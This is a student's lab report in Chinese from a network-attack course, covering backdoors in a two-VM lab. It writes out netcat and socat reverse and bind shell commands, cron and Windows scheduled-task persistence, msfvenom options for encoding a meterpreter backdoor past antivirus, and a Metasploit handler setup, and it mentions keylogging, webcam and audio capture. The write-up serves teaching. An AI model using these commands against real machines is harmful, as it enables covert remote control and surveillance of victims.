20164317《网络对抗技术》Exp2 后门原理与实践
1.实验内容
- (1)使用netcat获取主机操作Shell,cron启动
- (2)使用socat获取主机操作Shell, 任务计划启动
- (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2.实验环境
- 关闭防火墙的win10虚拟机,我的ip地址为:192.168.49.129
- kali虚拟机.ip地址为: 192.168.49.128
- 两台虚拟机可以ping通
-
3.实验中用到的工具
- netcat。在linux下叫ncat,我们的kali机自带,可以直接用man ncat 命令查看。
- socat。netcat的增强版。安装方法同上 meterpreter。kali机自带,只在kali中用。
实验步骤
1.使用netcat获取主机操作Shell,cron启动
win7为坏人,linux为受害者。cron启动
- win7监听,linux反弹连接
- win7中cmd窗口中输入: ncat.exe -l -p 4317
- kali中输入命令 nc 192.168.49.129 4317 -e /bin/sh
- cron启动。Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以" man cron "。这里的cron启动时去让linux受害者去定时反弹连接win10。
- 用 crontab -e 指令去增加一条定时任务
-
写完输入指令 crontab -l
- 2.使用socat获取主机操作Shell。 任务计划启动
- 这意思是win10作为受害者,用系统里的任务计划启动,定时“要求被害”。所以,这里只做win10作为victim反向连接的。
-
- 用 man socat 命令查看socat的介绍及相关用法:
- win7中打开控制面板,点击管理工具里的计划任务
- 点击右侧的创建任务,在常规选项卡上填名称
-
- 点击 触发器 ,选择新建,然后将开始任务设置为 工作站锁定时
-
-
再点击 操作 选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写 tcp-listen:4317exec:cmd.exe,pty,stderr (作用是把cmd.exe绑定到端口4317,同时把cmd.exe的stderr重定向到stdout上),点击确定 保存设置 :
-
-
点击左侧的 任务计划程序库 ,点击右边的 显示所有任务 ,然后再中间部分找到自己刚创建的任务,右键运行,弹出一个taskeng.exe框,然后切换到kali
-
-
在Kali Linux中输入 socat - tcp:192.168.49.129.4317 命令,可以成功得到一个cmd shell:
-
-
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。
后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
基本功能(基本的连接、执行指令),
扩展功能(如搜集用户信息、安装服务等功能),
编码模式,
运行平台,
以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。 典型的平台就包括有:
intersect
Metaspolit的msfvenom指令
Veil-evasion
我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter. 揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。 -
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
-e 使用的编码器,用于对shellcode变形,为了免杀
-i 编码器的迭代次数。如上即使用该编码器编码5次
-b badchar 是payload中需要去除的字符
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
-
现在文件生成好了,先再win10的命令行中输入 ncat -l 4317> 20164317.exe 开启监听并将接受的数据写入20164317.exe文件中
-
-
再kali中用 nc -nv 192.168.49.129 4317 < 20164317.exe 指令将数据传过去
-
-
- kali中输入 msfconsole
-
依次输入以下命令
复制代码
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.235.137 //注意此处应为Linux的IP!
set LPORT 5212 //后门程序里的端口号
show options
exploit
-
现在去win10中双击运行20164317.exe,点后win10没反应,然后切回kali,通过msf的监听进程获得win10的主动链接,并得到远程控制shell
-
-
-
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 要是误操作什么的不小心关掉了其中什么东西也ok,win中任务管理器再进程中结束backdoor.exe,然后再照上面敲一遍
- 以下是获取截屏、音频、摄像头、击键记录和提权都内容,更多的权限可以使用help查看。
-
-
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,因此留下后门。或者当我们打开一个网页时,如果该网页会自动链接到木马程序的话,就会在后台自动下载安装木马的安装程序,
并会自动安装木马,生成可执行文件,以此在系统留下后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode
(3)Meterpreter有哪些给你映像深刻的功能?
在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。
(4)如何发现自己有系统有没有被安装后门?
打开防火墙,查看有没有异常开放的端口;
安装杀毒软件,实时监控电脑,定时对系统进行检测
实验感想与问题
感想:这次实验,不得不说很让我震惊。这是我第一次实际上get到后门获取信息的知识,很满足。希望以后能够更深入的学到相关理论和知识,不仅学会攻击,也要学会防范。
现在去win10中双击运行20164317.exe,点后win10没反应,然后切回kali,通过msf的监听进程获得win10的主动链接,并得到远程控制shell